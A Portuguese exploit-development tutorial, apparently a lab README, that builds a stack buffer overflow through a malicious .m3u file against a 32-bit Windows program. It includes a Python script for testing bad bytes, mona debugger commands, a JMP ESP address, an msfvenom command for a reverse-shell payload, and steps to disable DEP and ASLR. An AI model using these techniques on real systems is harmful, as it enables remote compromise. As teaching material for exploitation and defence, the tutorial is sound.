// buffer overflow. //
Todos os testes foram realizados em ambiente próprio virtualizado. Somente para fins educacionais!
-
Identificar a vulnerabilidade
1.1 - Black Box (fuzzing)
1.2 - Reversing
- Verificar quantos bytes são necessários para chegar no RET.
Primeiros passos para depurar a aplicação vulnerável: através do dbg, executamos a aplicação e selecionamos o arquivo m3u modificado com 4000 chars. No entanto, ao executá-lo, ocorre uma exceção, conforme observado na imagem do x32 dbg.
2.1 - https://wiremask.eu/tools/buffer-overflow-pattern-generator
2.2 - Metasploit
O pattern generator do msf foi usado para gerar 2000 bytes como exemplo de que pode ser feito por esta ferramenta:
O resultado a partir do EIP 0x68423768 mostrado na primeira imagem do debugger IDA pro, indica que precisamos de 1012 bytes para atingir o retorno, o mesmo resultado pode ser obtido pelo site buffer overflow pattern generator
- Verificar "bad bytes" . Usei o immunity debugger neste passo:
após realizar a instalação do immunity, realize a copia do arquivo mona.py para o diretorio C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands o script python está disponivel para download aqui no repositório.
abra o immunity, rode a aplicação vulneravél usada como exemplo aqui e digite { !mona bytearray } sem chaves, irá gerar um pattern de 00 a ff:
O codigo em python a seguir foi desenvolvido para gerar um exploit com os bad bytes mostrados no debugger
3.1
lixo = 'A' * 1012 ret = 'AAAA' badbytes = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
f = open("xpl.m3u", "wb")
f.write(lixo+ret+badbytes)
f.close()
Rodamos o programa vuln com play 2x e abrimos nosso exploit, irá dar exceção e prossiga com Shit + f9 ECX, EBP e EIP será sobreescrito com 41414141,
ESP estava em 0018E998, prossiga com o comando
!mona compare -f bytearray.bin -a 0018E998 //endereço entre as tags
O resultado informa que a corrupção ocorreu após 1 byte
inclusive podemos verificar na tabela que parou de funcionar no 0x00
execute o comando:
mona! bytearray -cpb '\x00'
para gerar os badbytes sem x00, você pode copiar para o seu codigo python ou apenas deletar \x00 dos badbytes que já estão no seu codigo
após retirar o \x00, rode o programa novamente e use no reverse o novo arquivo gerado.
chegou no endereço com erro, rode o comando do mona compare novamente
!mona compare -f bytearray.bin -a < 0018E998 > //endereço entre as tags
Desta vez a corrupção aconteceu após 8 bytes. Prosseguimos como da primeira vez, delete o byte que está negativo, desta vez o \x09.
!mona bytearray -cpb '\x00\x09'
altere o seu codigo python.
e assim em diante com os proximos que bytes que forem problemáticos, você os retira do seu exploit.
Quando receber a mensagem Unmodified, significa que todo o shellcode não foi modificado e você identificou todos os badbytes.
-----BADBYTES-----
\x00, \x09, \x0a, \x1a
------------------ 3.2
- Criar shellcode sem os bad bytes
Abra o arquivo .m3u com seu editor de texto. Sabemos que o problema acontece após 1012 bytes, prossiga deletando todo o restante de chars e deixe apenas as letras 'A'
Substitua as quatro ultimas letras 'A' por 'B', após digite alguns chars 'C' e salve seu arquivo. Procedimento realizado apenas para que entenda facilmente!
abra o programa x32dbg e rode o programa vulneravel, dê play 2x e abra seu arquivo modificado com as letras.
Precisamos achar um endereço de memória que não tenha nenhum do bytes ruins e que tenha uma instrução JMP ESP ou CALL ESP.
Selecione exibir/Memory Map
Ou podemos usar o Immunity Debugger para facilitar nossa vida!
Execute o immunity e rode seu programa vuln. após rodar, digite na barra de pesquisa: !searchcode jmp esp. vá em view/log e terá essas informações
selecionamos a memória que não tem \x00, \x09, \x0a, \x1a
selecionamos 0x7dd93132 - kernel32.dll
-
Verificar como chamar o shellcode
0x7dd93132
6.Exploit Vamos usar o metasploit no kali linux (use a distro que desejar, basta instalar o metasploit), para gerar o shellcode. Estamos buscando um payload de conexão reversa para essa demonstração.
msfvenom -l payloads | grep "windows" | grep "reverse_tcp"
iremos usar o { windows/shell_reverse_tcp } 32bits porque o nosso programa vuln é 32bits
{ msfvenom -p windows/shell_reverse_tcp --list-options } para verficar as opções do payload!
podemos ver que falta apenas a opção LHOST ser preenchida, ali vai o ip da sua maquina!
-f { o formato será em python poque nosso exploit está escrito em python }
-b {bad chars que devem ser evitados, onde entra os que foram encontrados por nós }
{ msfvenom -p windows/shell_reverse_tcp LHOST=000.000.0.000 -f py -b '\x00\x09\x0a\x1a' }
Inserimos o shellcode gerado no nosso exploit com o endereço em litle endian porque a pilha funciona de trás para frente agrupando por 1 byte!
Resumindo: O exploit irá colocar 1012 A's, irá colocar o endereço de retorno, no endereço de retorno ele pula para um jmp esp e no esp estará o nosso shellcode!
iremos adicionar uma instrução de assembly que não faz nada chamada { nops }, 60 nops,por que 60 é multiplo de 4 e nossa memória 32bits está alinhada de 4bytes. Nosso exploit cai nos nops e vai pro shellcode.
Ps.: Desativar o DEP (Data Execution Prevention) e ASLR (Address Space Layout Randomization)
DEP: cli como admin e digite: bdcedit.exe /set {current} nx AlwaysOff
ASLR: abra o regedit e busca [HKLM\System\Current\CurrentControlSet\Control\Session Manager\Memory Management] cria um novo valor "DWORD" com nome "MoveImages" com valor 0